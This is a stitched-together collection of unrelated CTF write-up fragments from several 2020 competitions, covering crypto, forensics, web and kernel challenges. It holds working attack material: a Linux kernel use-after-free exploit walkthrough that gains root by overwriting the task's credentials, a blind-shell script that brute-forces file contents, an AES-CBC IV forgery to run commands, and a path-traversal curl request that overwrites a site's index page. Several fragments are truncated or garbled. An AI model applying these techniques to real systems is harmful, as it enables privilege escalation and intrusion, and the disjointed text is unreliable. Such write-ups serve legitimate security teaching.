Using ```foremost``` [https://tools.kali.org/forensics/foremost](https://tools.kali.org/forensics/foremost) almost feels like cheating sometimes.
Download the docx, run ```foremost```. It finds a zip file. Not suprising as docx is just a type of zip archive. Inside the archive is another docx... funny.
Run foremost again. Get another archive, extract it. And, while I expected another docx, I was suprised to find the flag. |
[https://github.com/crr0tz-4-d1nn3r/CTFs/blob/master/brixel_2020/Crypto/SeaCode](https://github.com/crr0tz-4-d1nn3r/CTFs/blob/master/brixel_2020/Crypto/SeaCode) |
## The challengeThe challenge constructs a random number generator using a Hyperelliptic curve of genus 3 (and arithmetic on it), then generates some bytes using it which it XORs with the message `Hello! The flag is: hxp{...}`.
The code is in [Sage](https://sagemath.org) and first creates a hyperelliptic curve $C$ of genus $3$ of the form $y^2 = x^7 + x$ over a 64-bit prime field. What is interesting about hyperelliptic curves is that their set of $\mathbb{K}$-rational points (for $\mathbb{K}$ being some extension of the base field) does not form a group like it is for elliptic curves. There is however a group associated to each hyperelliptic curve, its Jacobian. The elements of the Jacobian are divisors, one might imagine them as a formal sum $ \sum_i^m n_i P_i $ of some points $ P_i $ with $ n_i \in \mathbb{Z} $. To my best understanding when mathematicians are talking about a formal sum they are talking about doing a sum, but then instead of doing it, they ... *don't do it*. In this case it also cannot be computed, as there is no addition defined on the points of the hyperelliptic curve. The sum in the divisor can contain a number of points upto and equal to the genus of the curve, some might however be defined over extensions of the base field. The operation defined on the divisors is too complicated and unnecessary for this write-up, but more can be found in the [SageMath docs](https://doc.sagemath.org/html/en/reference/arithmetic_curves/sage/schemes/hyperelliptic_curves/jacobian_morphism.html) and in the helpful [An Introduction to Elliptic and Hyperelliptic Curve Cryptography and the NTRU Cryptosystem](https://www.esat.kuleuven.be/cosic/publications/article-520.pdf).
```python#!/usr/bin/env sageimport structfrom random import SystemRandom
p = 10000000000000001119
R.<x> = GF(p)[]; y=xf = y + prod(map(eval, 'yyyyyyy'))C = HyperellipticCurve(f, 0)J = C.jacobian()```
The RNG is seeded with three random integers in the range $[0, p^3]$ which makes them roughly 192 bits. During initialization, the RNG also creates three fixed points on the curve (with $x$-coords $11, 22$ and $33$) and transforms them into a divisors on the Jacobian. The RNG calls the `clk` function and processes the results whenever it runs out of bytes. The generation of the first byte triggers this clocking. The clocking takes the current list of the three divisors and multiplies them with the three secret random integers in `self.es`. These three divisors are then summed and this sum is decomposed into two elements (`u, v = sum(self.clk())`).
In Sage, divisors on the Jacobian are represented using the Mumford representation. This representation consists of two polynomials $u(x)$ and \$v(x)\$. It holds that \$u(x)\$ is monic, \$u(x)\$ divides \$f(x) - h(x) v(x) - v(x)^2\$ where \$f(x)\$ and \$h(x)\$ are polynomials associated with the curve. It also holds that \$deg(v(x)) < deg(u(x)) \le g\$ where \$g\$ is the genus of the curve, in our case \$3\$. When one has a divisor on the Jacobian in Sage and indexes into it or decomposes it into two elements the two polynomials \$u(x)\$ and \$v(x)\$ are returned, which is what happens on the `u, v = sum(self.clk())` line.
The rest of the RNG is straightforward, it takes the six coefficients from the Mumford representation of the summed divisor (three from \$u(x)\$ and three from \$v(x)\$) and converts them to 8-byte integers, then concatenates them into a 48-byte string which used as the RNG output.
```pythonclass RNG(object):
def __init__(self): self.es = [SystemRandom().randrange(p**3) for _ in range(3)] self.Ds = [J(C(x, min(f(x).sqrt(0,1)))) for x in (11,22,33)] self.q = []
def clk(self): self.Ds = [e*D for e,D in zip(self.es, self.Ds)] return self.Ds
def __call__(self): if not self.q: u,v = sum(self.clk()) rs = [u[i] for i in range(3)] + [v[i] for i in range(3)] assert 0 not in rs and 1 not in rs self.q = struct.pack('<'+'Q'*len(rs), *rs) r, self.q = self.q[0], self.q[1:] return r
def __iter__(self): return self def __next__(self): return self()```
The rest of the challenge uses the RNG to compute 48 random bytes and XORs the output with the message.
```pythonflag = open('flag.txt').read().strip()import re; assert re.match(r'hxp\{\w+\}', flag, re.ASCII)
text = f"Hello! The flag is: {flag}"print(bytes(k^^m for k,m in zip(RNG(), text.encode())).hex())```
## The solution
The first important realization is that due to the message starting with `Hello! The flag is: hxp{` the first 24 bytes of the output of the RNG are known. In the algorithm, this corresponds to the knowledge of the `u[i] for i in range(3)` in the `__call__` function. These `u[i]` represent the coefficients of the \$u(x)\$ polynomial in the Mumford representation of the divisor. What we do not know are the next 24 bytes of the RNG output, which correspond to the coefficients of the \$v(x)\$ polynomial in the Mumford representation of the divisor, so our task is to somehow recover them.
To recover the \$v(x)\$ polynomial, one needs to think about the correspondence between the points in the divisor and its Mumford representation. It holds that roots of the \$u(x)\$ polynomial are \$x\$-coordinates of the points in the formal sum in the divisor. Furthermore, for \$x_i\$ a root of \$u(x)\$, \$y_i = v(x_i)\$ is the \$y\$-coordinate of the represented point. We can use this recover the \$v(x)\$ polynomial. The \$v(x)\$ polynomial has degree smaller than three so we can represent it as \$a x^2 + b x + c\$ with \$a, b, c \in \mathbb{K}\$. Using the three roots \$x_i\$ of the \$u(x)\$ polynomial we can form three linear equations over \$\mathbb{\overline{K}}\$ of the form \$v^2(x) = x^7 + x\$. Plugging in our form of the polynomial \$v(x)\$ we get \$(a x^2 + b x + c)^2 = x^7 + x\$, for each \$x\$ from the roots of the \$u(x)\$ polynomial. For easier solving we will take the square root of the equation and get \$a x^2 + b x + c = (x^7 + x)^{1/2}\$. This is what the Sage script below does, with some additional fiddling of the ordering of the coefficients of \$v(x)\$ when they are transformed into bytes for the RNG output.
```python#!/usr/bin/env sagefrom binascii import unhexlify, hexlifyfrom itertools import permutations
p = 10000000000000001119k = GF(p)kc = k.algebraic_closure()
R.<x> = k[]; y=xf = y + prod(map(eval, 'yyyyyyy'))C = HyperellipticCurve(f, 0)J = C.jacobian()
msg_prefix = b"Hello! The flag is: hxp{"
with open("output.txt") as f: content = unhexlify(f.read().strip())
bs = []for c, m in zip(content, msg_prefix): # Do the XOR, obtain k b = c^^m print(b) bs.append(b)
u0 = int.from_bytes(bytes(bs[:8]), byteorder="little")u1 = int.from_bytes(bytes(bs[8:16]), byteorder="little")u2 = int.from_bytes(bytes(bs[16:24]), byteorder="little")print(hex(u0), hex(u1), hex(u2))
ps = x^3 + u2 * x^2 + u1 * x + u0 # TODO: this ordering might be the other way around.aps_roots = ps.roots(ring=kc, multiplicities=False)x0, x1, x2 = aps_roots
A = Matrix(((x0^2, x0, kc(1)), (x1^2, x1, kc(1)), (x2^2, x2, kc(1))))Y = vector((x0^7 + x0, x1^7 + x1, x2^7 + x2))Ys = vector((-Y[0].sqrt(), -Y[1].sqrt(), -Y[2].sqrt())) # TODO: Maybe the other sqrt?
v = A.solve_right(Ys)print(v)v0 = int(str(v[0])).to_bytes(8, byteorder="little")v1 = int(str(v[1])).to_bytes(8, byteorder="little")v2 = int(str(v[2])).to_bytes(8, byteorder="little")
for a0, a1, a2 in permutations((v0, v1, v2)): cs = [] q = bytes(bs) + a0 + a1 + a2 for c, m in zip(content, q): # Do the XOR, obtain k b = c^^m cs.append(chr(b)) print("".join(cs))```
And there it is: `Hello! The flag is: hxp{ez_P4rT_i5_ez__tL0Cm}`. |
```import requestsimport re
t = "http://timesink.be/speedy"s = requests.Session()print(f"Requesting {t}...")req = s.get(t)
p = re.compile('<div id="rndstring" align="center">(\w*)</div>')random_str = p.search(req.text).group(1)print(f"Got randomstring: {random_str}")
print(f"Posting...")r2 = s.post("http://timesink.be/speedy/index.php", data={"inputfield": random_str})print(r2.text)```
https://md.darknebu.la/4cDzvoArTDCD-hpjSmVTwQ?view#Fast-Enough |
# Pwnable01
## Description
You can ssh into our server as a low-privilege user. Can you exploit our sculldriver and read the flag?
## Summary
This is a Linux kernel module pwn. The module source code is taken from the [Linux Device Drivers](https://www.oreilly.com/library/view/linux-device-drivers/0596005903/ch03.html) book and made vulnerable by removing all synchronization. Time for [userfaultfd](https://www.kernel.org/doc/html/latest/admin-guide/mm/userfaultfd.html)!
The challenge author was very nice and attached the [module source code](https://github.com/mephi42/ctf/tree/master/2020.12.27-WhiteHat_Grand_Prix_06_-_Final_Round/Pwnable01/scull-vuln) as well as the disk image, which has preconfigured network andsshd.
## TL;DR
* Google some strings from the source code, e.g. `SCULL_DEBUG`. Or read the top comment, it mentions the book "Linux Device Drivers" directly.* Compare the source code with the original and notice that the synchronization is missing (funnily enough, the comments that mention it are still there).* Figure out data layout and terminology: quantum is a kmalloc chunk, qset is an array of pointers to quantums, scull device manages a list of qsets.* Overlap a quantum with a [`struct seq_operations`]( https://elixir.bootlin.com/linux/v5.0/source/include/linux/seq_file.h#L32 ) to leak the address of [`single_start`]( https://elixir.bootlin.com/linux/v5.0/C/ident/single_start) function.* Overlap a quantum with an array of pointers to quantums, overwrite the first pointer, use that for arbitrary reads and writes.* Pin the exploit to core #0.* Read [`*(void **)pcpu_base_addr`]( https://elixir.bootlin.com/linux/v5.0/source/mm/percpu.c#L132 ), use that to read [`current_task`]( https://elixir.bootlin.com/linux/v5.0/source/arch/x86/include/asm/current.h#L11 ) of core #0, write [`init_cred`]( https://elixir.bootlin.com/linux/v5.0/source/kernel/cred.c#L45) to [`current_task->cred`]( https://elixir.bootlin.com/linux/v5.0/source/include/linux/sched.h#L838).* Spawn a shell and read the flag: `WhiteHat{scU11_Scull_driv3r_h4h4_38842_s2}`.
## Vulnerability
The module manages 4 devices: `/dev/scull[0-3]`, each of which simply storesdata in the kernel memory and provides random access to it. The data is splitinto equally-sized chunks ("quantums") and laid out as in the followingexample:
Each device starts out empty. When data at a certain offset is accessed, theindex of the containing [`struct scull_qset`](https://github.com/mephi42/ctf/tree/master/2020.12.27-WhiteHat_Grand_Prix_06_-_Final_Round/Pwnable01/scull-vuln/scull.h#L82) iscomputed as `offset / (qset * quantum)` and [`scull_follow`](https://github.com/mephi42/ctf/blob/master/2020.12.27-WhiteHat_Grand_Prix_06_-_Final_Round/Pwnable01/scull-vuln/main.c#L286) is used to obtain a pointer to it, creating it and itspredecessors if necessary. Then a quantum at index `offset / quantum % qset` isaccessed using offset `offset % quantum`.
The initial values of each device's `quantum` (size of quantums) and `qset`(number of quantums in each qset) are [set from module parameters](https://github.com/mephi42/ctf/blob/master/2020.12.27-WhiteHat_Grand_Prix_06_-_Final_Round/Pwnable01/scull-vuln/main.c#L252), however, those can be changed using [ioctls](https://github.com/mephi42/ctf/blob/master/2020.12.27-WhiteHat_Grand_Prix_06_-_Final_Round/Pwnable01/scull-vuln/main.c#L511) on any scull device. This would not affect theexisting devices though. In order to apply new settings to a device, one needsto [open it with `open(O_WRONLY)`](https://github.com/mephi42/ctf/tree/master/2020.12.27-WhiteHat_Grand_Prix_06_-_Final_Round/Pwnable01/scull-vuln/main.c#L273). This will alsodelete all of its qsets and quantums.
There is no synchronization, so if one thread does a `read()`, while anotherone is doing `open(O_WRONLY)`, we have a use-after-free.
## Userfaultfd
The race window is fairly small on both sides though, and it's not obvious howto extend it using the conventional means. userfaultfd is a mechanism thatallows us to control very precisely when `copy_from_user()` or`copy_to_user()` return. This is achieved as follows:
* [`mmap()` a page](https://github.com/mephi42/ctf/tree/master/2020.12.27-WhiteHat_Grand_Prix_06_-_Final_Round/Pwnable01/pwnit.c#L78). The kernel will not update the page table it right away, it will only create a corresponding VMA.* [Create a `userfaultfd` object](https://github.com/mephi42/ctf/blob/master/2020.12.27-WhiteHat_Grand_Prix_06_-_Final_Round/Pwnable01/pwnit.c#L91) and [tell it](https://github.com/mephi42/ctf/tree/master/2020.12.27-WhiteHat_Grand_Prix_06_-_Final_Round/Pwnable01/pwnit.c#L102) to keep an eye on this page.* Pass this page to `read()`.* When the module [calls `copy_to_user()`](https://github.com/mephi42/ctf/tree/master/2020.12.27-WhiteHat_Grand_Prix_06_-_Final_Round/Pwnable01/scull-vuln/main.c#L346), a page fault will occur. A `uffd_msg` will be enqueued on the corresponding `userfaultfd` object. The thread will freeze and will not resume until this message is handled by the userspace.* Upon receiving this `uffd_msg` in another thread, userspace can instruct the kernel to handle the page fault by creating [a page with specific data](https://github.com/mephi42/ctf/blob/master/2020.12.27-WhiteHat_Grand_Prix_06_-_Final_Round/Pwnable01/pwnit.c#L65), thus unblocking the waiting thread.
## Leaking a kernel text pointer
So far we can create a stable UAF by `read()`ing into a userfaultfd-backed pageand doing `open(O_WRONLY)` after receiving `uffd_msg`. But how to make sure weread something useful from the freed memory?
Kernel's allocator (SLUB in this case) groups chunks of the same sizetogether - some relevant statistics can be found in `/proc/slabinfo`. Eachfree chunk of a particular size is put onto the corresponding freelist, whichexhibits LIFO behavior. Therefore all we need to do is to convince the kernelto allocate an object of a size similar to that of the just freed one.
There is a [nice collection](https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628) of kernel objects ofdifferent sizes that are particularly convenient for exploitation. I [used`seq_operations`](https://github.com/mephi42/ctf/tree/master/2020.12.27-WhiteHat_Grand_Prix_06_-_Final_Round/Pwnable01/pwnit.c#L183) for this challenge.
## Arbitrary read/write
[By overlapping](https://github.com/mephi42/ctf/tree/master/2020.12.27-WhiteHat_Grand_Prix_06_-_Final_Round/Pwnable01/pwnit.c#L228) quantum of one device with qset pointer array ofanother one, we can put an arbitrary pointer into the latter. When performing aleak we could tolerate instability (e.g. what if another core randomlyallocates an object with the desired size?) and just try again, but here we arewriting, so such confusion would most likely lead to a crash. Therefore we needto aim for the least often used slab: kmalloc-8k. This corresponds to quantumsize of 8192 and 1024 quantums per qset.
Then, by using `read()` or `write()` on the second device we can read or writea value pointed to by the address we placed into the array. After that thedevice becomes almost unusable though (the pointer cannot be `kfree()`d) andhas to be repaired. But since there are 4 of them, and we don't need more than4 dereferences to complete the challenge, I skipped that step and just used aseparate device for each one.
## Privilege escalation
Normally we would strive for `commit_creds(prepare_kernel_cred(NULL))`, but gettingPC control might be a hassle here. With arbitrary read/write, I used to do`current->cred->uid = 0`, but turns out there is an even easier way with oneless dereference: `current->cred = &init_cred`.
`current` is a per-CPU variable. When writing kernel modules in C, the waythose are addressed is hidden behind macros, but here we have to [implement itexplicitly](https://github.com/mephi42/ctf/blob/master/2020.12.27-WhiteHat_Grand_Prix_06_-_Final_Round/Pwnable01/pwnit.c#L266):
The offsets inside `.data..percpu` can be found in `kallsyms`:
```0000000000015C00 Acurrent_task```
## Conclusion
I looked at two such tasks before, but only with moderate success. In [KrazyNote](https://github.com/mephi42/ctf/tree/master/2019.10.05-Balsn_CTF_2019/KrazyNote) from [Balsn CTF 2019](https://ctftime.org/event/811) I didn't even suspect that something likeuserfaultfd existed at all, but still managed to stabilize the race without it.In kstack from [SECCON 2020 Online CTF](https://ctftime.org/event/1119) Isuccessfully used userfaultfd to gain PC control, but didn't figure out whatto do with it - turned out `xchg ..., esp` gadgets in 64-bit kernels are athing when SMEP is off, which it was.
So this time it was a matter of combining two pieces of code I already had andthen sprucing them with [`init_cred`](https://elixir.bootlin.com/linux/v5.0/source/kernel/cred.c#L45) trick I learnedwhile browsing [Linux Kernel Security](https://t.me/linkersec) channel. |
```import requestsimport jsonfrom bs4 import BeautifulSoup as bs4
################################################################################## Stage 1:# # Request a session for the first "round", in this, we'll submit a lot of wrong# answers and store the resulting solution given to us by the server. The plan# is to use this solutions in a second round to solve the questions#########################################
# question_mapping maps the question to it's answer# load the stored dataquestion_mapping = {}with open("solutions.json") as data: question_mapping = json.load(data)
s1 = requests.Session()s1.close()s1 = requests.Session()
#for i in range(0, 2000):i=0while len(question_mapping) < 1000: print(f"\r{i}\t{len(question_mapping)}", end="", flush=True) r = s1.get("http://timesink.be/quizbot/index.php") soup = bs4(r.text, "html.parser") question = soup.h4.text
# post with body: payload = {"insert_answer": "asdfghjkl", "submit": "answer"} r = s1.post("http://timesink.be/quizbot/index.php", data=payload) soup = bs4(r.text, "html.parser") answer = soup.find(id="answer").text
question_mapping[question] = answer i+=1
# save the dict to jsonwith open("solutions.json", "w") as outfile: json.dump(question_mapping, outfile)
print("")
################################################################################## Stage 2:## Use the solutions collected in stage 1#########################################
s2 = requests.Session()
for i in range(0, 1100): try: r = s1.get("http://timesink.be/quizbot/index.php", timeout=10) soup = bs4(r.text, "html.parser") question = soup.h4.text try: answer = question_mapping[question] except: answer = "abc" print(question) print(answer) except: print("SOME ERROR OCCURED")
try: # post with body: payload = {"insert_answer": answer, "submit": "answer"} r = s1.post("http://timesink.be/quizbot/index.php", data=payload, timeout=10) soup = bs4(r.text, "html.parser") print(r.text) #answer = soup.find(id="answer").text except: print("SOME ERROR OCCURED")```
https://md.darknebu.la/4cDzvoArTDCD-hpjSmVTwQ?view#Quizbot |
[https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/brixel_2020/Crypto/Salty](https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/brixel_2020/Crypto/Salty) |
"French" and the characters in the cipher text made me think of Vigenere. Need a key. Maybe 'confidentiel'? Yes.[https://gchq.github.io/CyberChef/#recipe=Vigen%C3%A8re_Decode('confidentiel')&input=VnZyIGt0ZGsgdmwganZ0enN5SEJJe2ZuemNpZXZzfQ](https://gchq.github.io/CyberChef/#recipe=Vigen%C3%A8re_Decode('confidentiel')&input=VnZyIGt0ZGsgdmwganZ0enN5SEJJe2ZuemNpZXZzfQ) |
# Lost List
**Category**: Crypto \**Points**: 396 \**Author**: Heappie
## Challenge
Santa lost the key to his server where he keeps the lists of nice and naughtykids and the server started to malfunction. Luckily looking through the logs wefound a capture file of his last connection to the server. He usually used thisserver only to write the lists, but we need to recover the lists so try and loginto the server and read the lists. Santa counts on you, don't let him down!
Target: `nc challs.xmas.htsp.ro 1002`
## Solution
Open up `capture.pcagng` in Wireshark.Right click, `Follow` -> `TCP Stream`
Looks like a shell, but the input is encrypted.This is the input:```53616e74612773313333374956343230ab0c288b0ae26eaf8adbcf00bddf35fa```
Decoding this hex string, we get:```pythonb'Santa's1337IV420\xab\x0c(\x8b\n\xe2n\xaf\x8a\xdb\xcf\x00\xbd\xdf5\xfa'```
The string is 32 bytes in total.The first 16 bytes are IV (`Santa's1337IV420`) and second 16 bytes are encrypted.This is looks like AES-CBC.
Based on the output of the command from Wireshark, we can assume that theplaintext was `ls`.
So to summarize:- We know a plaintext and ciphertext pair- We have control over the IV
This means we can forge an IV to make the server decrypt`\xab\x0c(\x8b\n\xe2n\xaf\x8a\xdb\xcf\x00\xbd\xdf5\xfa` to an arbitraryplaintext.
We can do this because the IV is XOR'd with the immediate state to obtain theplaintext.
The last thing to remember is that plaintext blocks are padded with PKCS #7 inAES-CBC.
Next I wrote a script (`solve.py`) to automatically encrypt input data and sendit to the server.```$ python3 solve.py[+] Opening connection to challs.xmas.htsp.ro on port 1002: Donesanta@northpole ~$ lskey.pymain.pynaughtynice
santa@northpole ~$ cat niceCommand not foundsanta@northpole ~$```
They blacklisted the `cat` command, but we can just use `dd` instead.```santa@northpole ~$ dd if=niceAliceBobGalfX-MAS{s33ms_1ik3_y0u_4r3_0n_7h3_1is7_700_h0_h0_h0}``` |
`w@yb@ck!`: Using the wayback-machine: https://web.archive.org/web/20190115103029/http://www.howitshould.be/test-page/ (Taken from his twitter-account @johnnydorfmeis1) |
[https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/brixel_2020/Forensics/Lottery](https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/brixel_2020/Forensics/Lottery) |
# blind_shell_writeup`It's simple enough, either you've succeeded or you've failed.Connect here: nc tasks.kksctf.ru 30010`
Connecting with netcat we're presented with a blind shell accepting only certain commands and responding either with "Success!" or "Failure!". So we thought about a blind attack to try to read the content of the file flag.txt with the bash command `[ $(head -c 1 flag.txt | tail -c 1) = 'a' ]` by incrementing the number of characters read everytime. The script worked like this```from pwn import *import string
payload = "[ $(head -c {} flag.txt | tail -c 1) = '{}' ]"
r = remote("tasks.kksctf.ru", 30010)r.recvuntil("$")flag = ""i = len(flag) + 1found = Falsewhile True: for l in string.printable: found = False r.sendline(payload.format(i, l)) if b"Success" in r.recvuntil("$"): i = i+1 flag += l found = true print("[+] Char found! {}".format(flag)) break if not found: flag += " " i += 1```Unfortunately the flag wasn't there. So we stared looking around with ls using the same technique
```from pwn import *import string
payload = "[ $(ls | head -c {} | tail -c 1) = '{}' ]"
r.recvuntil("$")flag = ""i = len(flag) + 1found = Falsewhile True: for l in string.printable: found = False r.sendline(payload.format(i, l)) if b"Success" in r.recvuntil("$"): i = i+1 flag += l found = True print("[+] Char found! {}".format(flag)) break if not found: flag += " " i+=1 ```We find another file called `maybehere` but reading it doesn't work because it's a directory and the flag is inside! You can check out the final working script in the repo. Finally the flag `kks{Bl1nD_sH311_s2cKs_b4t_Y0U_ar3_amaz19g}` |
[https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/brixel_2020/Programming/KeepWalking](https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/brixel_2020/Programming/KeepWalking) |
using https://morsecode.world/international/decoder/audio-decoder-adaptive.htmlwe can find out that the morse code represents:
`THE FLAG FOR THIS CHALLENGE IS SEAGULL`
`SEAGULL` |
qr-code image crop smaller qr-code image from first go to website, scan barcode enter result, scan next barcode, repeat receive flag: brixelCTF{m4st3r_0f_sc4n5}
|
[https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/brixel_2020/Stego/ScanMe](https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/brixel_2020/Stego/ScanMe) |
No captcha required for preview. Please, do not write just a link to original writeup here. Why?
https://gist.github.com/hellman/6e00c068d97bef2cdfbf40da9670019c |
1. Start with the secret message```a smay sstniaci,s svuiRs ieomnoasr yy,b annede sp r,otprhueotc, taan de rbuyg ioft heevriss iavsi da ar eslaiwg ieoHu s. }cthoabr_leahtta_ns.i _Trhoet cheirgihD _peohiTn@t{ toofo rR2ats0p0ubt isni' sg aplofw eerh Tw a.sa iilni h1p9o1m5e hw hmeonr fN idcehroelfafsu sI Io hlwe f,ti eSxte.l AP e,tneorss byulrngo tso' eolvpeurosce el aRiursespimain eahrtm ireosf frieglhateihn ga Wsoar lgdn iWtacra In,a gienbc rneiatsuipnsga Rb o,t6h0 9A1l eextaanld rnaI a.n5d0 9R1a srpeubtmienv'osN innif laurednncaex.e lRAu ssssiearnp mdEe fdenaat ss amloouhnctieNd rdourreipnmgE ttheem wdanra, ehrouwgeivfe ry,t eaincdo sb oat he mRaacsepbu teiHn .asnrde dAaleelx alnadircao sb edcnaam eh cirnuchrce aesmionsg ldye tuanvpiotppualca re.h Ienr ethhwe ,e5a0r9l1y– 4m0o9r1n ifnog roeft n3i0w Deehcte mrboe r3 0[9O1. Sn.i 1g7r uDbescreemtbeePr ]. t1S9 1o6t, dRealsepvuatritn ewHa s. hacsrsuahsCs ixnoadtoehdt rbOy naa igsrsouuRp eohft cnoin sneorivtaitsiovpe lnaoibcliefmfeon ownh od loephp oeshe dh ghuiosh ti n,f)lmuierngclei po vreor rAelreexdannadwr(a 'aknidn nNaircthso'l aas .s aH irsot okrnioamn sa osfat edne bsiurgcgseesdt nteheabt sRaahs peuHt i.n7'9s8 1s cnain dyarleotussa naonmd as ionti setgearm irregpluitpa tai ognn ihkealtp erde tdfias cercendeiitr etphxee tnsoairsirsetv ngoocv esrunomiegnitl earn da tdhauhs ehHe l.p)etds aplrbeOc inpeimtuaytTe ftoh et coivretrstihDr oywk sovfo ktrhaeY Rwoomna(n oevt adryonnarsetvyo Ga kfselwo bwoeTe kfso adfzteeyrU hyek swnaesm uaysTs aeshsti nnait eedy.o kAscvcooruknotPs foof ehgiasl lliivf en aainrde biinSf leuhetn cnei wyelriem aoff ttenna sbaaespe da oont hneraorbs asya wa nndi truupmsoarR```
2. The decryption program```file = list(open('file').read().strip())message = ''for i in range(1, len(file), 2): message += file[-i]for i in range(0, len(file), 2): message += file[i]print(message)```
3. The result```Rasputin was born to a peasant family in the Siberian village of Pokrovskoye in the Tyumensky Uyezd of Tobolsk Governorate (now Yarkovsky District of Tyumen Oblast). He had a religious conversion experience after taking a pilgrimage to a monastery in 1897. He has been described as a monk or as a 'strannik' (wanderer or pilgrim), though he held no official position in the Russian Orthodox Church. He traveled to St. Petersburg in 1903 or the winter of 1904“â1905, where he captivated some church and social leaders. He became a society figure and met Emperor Nicholas and Empress Alexandra in November 1905. In late 1906, Rasputin began acting as a healer for the imperial couple's only son, Alexei, who suffered from hemophilia. The flag is b00t2root{@The_Director_is_the_bot}. He was a divisive figure at court, seen by some Russians as a mystic, visionary, and prophet, and by others as a religious charlatan. The high point of Rasputin's power was in 1915 when Nicholas II left St. Petersburg to oversee Russian armies fighting World War I, increasing both Alexandra and Rasputin's influence. Russian defeats mounted during the war, however, and both Rasputin and Alexandra became increasingly unpopular. In the early€ morning of 30 December [O.S. 17 December] 1916, Rasputin was assassinated by a group of conservative noblemen who opposed his influence over Alexandra and Nicholas. Historians often suggest that Rasputin's scandalous and sinister reputation helped discredit the tsarist government and thus helped precipitate the overthrow of the Romanov dynasty a few weeks after he was assassinated. Accounts of his life and influence were often based on hearsay and rumor```
4. Here is the flag```b00t2root{@The_Director_is_the_bot}``` |
Google search to identify user-agent used by “ask jeeves crawler”curl 'http://timesink.be/browsercheck/' -H 'User-Agent: Mozilla/5.0 (compatible; Ask Jeeves/Teoma; +http://about.ask.com/en/docs/about/webmasters.shtml)'
|
```a0a0a200: 98 cwde a0a0a201: ff 90 90 90 90 90 call QWORD PTR [rax-0x6f6f6f70] ```And wait for the random to return 0x90904 so we are mmapped to 0x90904000
Full writeup in the link! |
Upload reverse shell here:http://timesink.be/dadjokes/jokes/submit.php
File Read:http://timesink.be/dadjokes/jokes/read.php?file=mugged.txt
http://timesink.be/dadjokes/jokes/submit.php?filename=%3C?php%20echo%20\
Notice: Undefined index: title in /home/kevinay5/domains/timesink.be/public_html/dadjokes/jokes/submit.php on line 47please provide a title
The Solution is to fix the Page. This gives you the solution
curl 'http://timesink.be/dadjokes/jokes/submit.php?filename=../index.html&title=index&submit=true&content=%0D%0A%3Chtml%3E%3Ctitle%3EDadJokes%2C+your+source+of+lame+dad+jokes%3C%2Ftitle%3E%3Cbody%3E%3Cdiv+align%3D%22center%22%3E%3Ch1%3EDadJokes%3C%2Fh1%3E%3Chr%3E%3Cimg+src%3D%22images%2Fbanner.png%22+alt%3D%22dadjokes%22%3E%3Cbr%3E%3Cbr%3E%3Ca+href%3D%22jokes%2Fread.php%22%3ERead+dad+jokes%3C%2Fa%3E%3Cbr%3E%3Cbr%3E%3Ca+href%3D%22jokes%2Fsubmit.php%22%3Esubmit+your+own+jokes%3C%2Fa%3E%3C%2Fdiv%3E%3C%2Fhtml%3E'
document.write('') |
```$ curl 'http://timesink.be/snackshackaward/stemmen.php' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://timesink.be' -H 'Connection: keep-alive' -H 'Referer: http://timesink.be/snackshackaward/index.html' -H 'Upgrade-Insecure-Requests: 1' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' --data-raw 'score_bammens=0&score_omejan=0&score_fontainas=0&score_tpleintje=5000&score_frietuurtje=0'```
`brixelCTF{bakpau}` |
https://www.google.com/maps/d/viewer?mid=13WdFG3f5N8YGKQ6tTO4XTcxZlwFZ2Dgq&ll=50.693156402179554%2C5.707086178620777&z=16
3.05.13
7.05.09https://www.google.com/maps/@50.9409526,5.4027559,3a,32.9y,53.72h,88.17t/data=!3m7!1e1!3m5!1spIOYm_3knO82AWp-QKjpBg!2e0!5s20130601T000000!7i13312!8i6656
https://md.darknebu.la/4cDzvoArTDCD-hpjSmVTwQ?both#Visit-Limburg-2 |
refactor a bit:
```function verify() { var _0x41653e = _0x58ab; password = document[ _0x41653e(0x194) ](_0x41653e(0x192))['value'], alphabet = _0x41653e(0x193), newpassword = alphabet['substr'](0x1, 0x1), // b newpassword = newpassword + alphabet['substr'](0x11, 0x1), // r newpassword = newpassword + alphabet['substr'](0x8, 0x1), // i newpassword = newpassword + alphabet['substr'](0x17, 0x1), // x newpassword = newpassword + alphabet['substr'](0x4, 0x1), // e newpassword = newpassword + alphabet['substr'](0xb, 0x1), // l newpassword = newpassword + alphabet['substr'](0x2, 0x1), // c newpassword = newpassword + alphabet['substr'](0x13, 0x1), // t newpassword = newpassword + alphabet['substr'](0x5, 0x1), // f newpassword = newpassword + alphabet['substr'](39 - 0x2, 0x1), // { newpassword = newpassword + alphabet['substr'](39 - 0x4, 0x1), // 0 newpassword = newpassword + alphabet['substr'](0x1, 0x1), // b newpassword = newpassword + alphabet['substr'](0x5, 0x1), // f newpassword = newpassword + alphabet['substr'](0x14, 0x1), // u newpassword = newpassword + alphabet['substr'](0x12, 0x1), // s newpassword = newpassword + alphabet['substr'](0x2, 0x1), // c newpassword = newpassword + alphabet['substr'](0x0, 0x1), // a newpassword = newpassword + alphabet['substr'](0x13, 0x1), // t newpassword = newpassword + alphabet['substr'](0x8, 0x1), // i newpassword = newpassword + alphabet['substr'](39 - 0x4, 0x1), // 0 newpassword = newpassword + alphabet['substr'](0xd, 0x1), // n newpassword = newpassword + alphabet['substr']39 - 0x1, 0x1), // } password == newpassword ? alert(_0x41653e(0x196)) : alert(_0x41653e(0x195));}```
`brixelctf{0bfuscati0n}` |
# GOODBYE
```On 31/12/2020 support for flash will end
Therefor we made you a farewell animation
Can you get the flag?
Beware headphone users! the music is loud.```
- Fichier : [goodbye.swf](https://github.com/Pynard/writeups/raw/main/2020/BRIXEL/attachements/goodbye/goodbye.swf)
By looking at this swf file with a flash decompiler we can access to text objects
